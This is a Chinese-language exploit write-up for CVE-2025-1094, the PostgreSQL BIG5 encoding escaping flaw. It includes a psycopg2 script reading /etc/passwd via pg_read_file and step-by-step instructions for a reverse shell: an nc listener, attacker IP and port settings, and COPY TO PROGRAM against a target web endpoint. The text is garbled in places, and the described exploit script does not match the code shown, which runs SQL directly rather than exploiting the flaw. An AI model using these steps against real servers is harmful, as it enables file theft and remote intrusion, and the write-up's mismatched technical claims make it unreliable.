CVE‑2025‑1094 是 PostgreSQL 的 libpq 转义函数和 psql 交互工具中的一个输入清理漏洞。它源于当客户端编码设置为 BIG5 时对多字节编码处理不当。在某些条件下,这会导致转义字符被错误处理,从而允许攻击者绕过预期的查询边界。
该漏洞由 Rapid7 在分析 CVE‑2024‑12356(一个独立的影响 BeyondTrust 设备的问题)时发现。PostgreSQL 的这种行为被用作更广泛的链式漏洞的一部分,以进一步影响后端行为。
当 Web 服务器或应用程序将用户输入直接传递给通过 psql 执行的 SQL 查询,并且 client_encoding 设置为 时,特制的输入可以提前终止 SQL 语句并附加恶意的 SQL。
BIG5这允许执行额外操作,例如通过 PostgreSQL 的 lo_export、pg_read_file 或类似函数读取本地文件(例如 /etc/passwd)。
默认情况下,这不是 PostgreSQL 中的远程代码执行 (RCE) 漏洞。相反,它是对 PostgreSQL 客户端 API 的滥用,当过滤或转义不当时,可以被滥用以泄露敏感文件内容或可能执行危险的 SQL。
COPY TO、pg_read_file 或 lo_export。BIG5 且输入未正确清理时,漏洞利用才有效。client_encoding=BIG5。import psycopg2
conn = psycopg2.connect(
host="127.0.0.1",
dbname="test",
user="test",
password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()
# 用于将 /etc/passwd 读取到服务器可访问文件的 Payload
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""
cursor.execute(sql)
conn.commit()
##✅ 这个 Exploit.py 做了什么:
在环境中设置 PGCLIENTENCODING=BIG5(触发条件)。
构造一个 SQL 注入 payload,以跳出查询并插入新的 COPY TO PROGRAM 命令。
通过 GET 请求将 payload 发送给易受攻击的 Web 服务器(/search?q=...)。
如果后端使用 psql 且输入未经清理,则 COPY TO PROGRAM 会执行并写入结果或打开一个 shell。
⚠️ 反向 shell 仅在以下情况下成功:
· 服务器使用 psql(而非参数化数据库驱动)执行 SQL
· 允许 COPY TO PROGRAM(需要超级用户)
· 拥有到攻击者的出站连接
#该 Python 脚本将一个特制的 payload 发送给易受攻击的 Web 服务器,该服务器将输入直接传递给具有 BIG5 编码的 PostgreSQL psql 进程: 使用步骤:
在终端上启动监听器:
nc -lvnp 4444
编辑漏洞利用脚本:
将 TARGET_URL 设置为目标服务器的 IP 或域名。 确认 ENDPOINT 与路由匹配(例如 /search)。 将 REVERSE_IP 和 REVERSE_PORT 调整为匹配你的攻击机。
在不同的终端中执行脚本:
python3 exploit.py
结果:如果成功,你将在监听器上收到一个连接。如果不成功,请尝试使用 pg_read_file payload 读取文件(例如 /etc/passwd)。
要进行测试:
EUC_TW 或类似编码初始化。psql 或未转义的动态 SQL 与 PostgreSQL 交互。pg_read_file 或 lo_export 等函数。client_encoding=BIG5。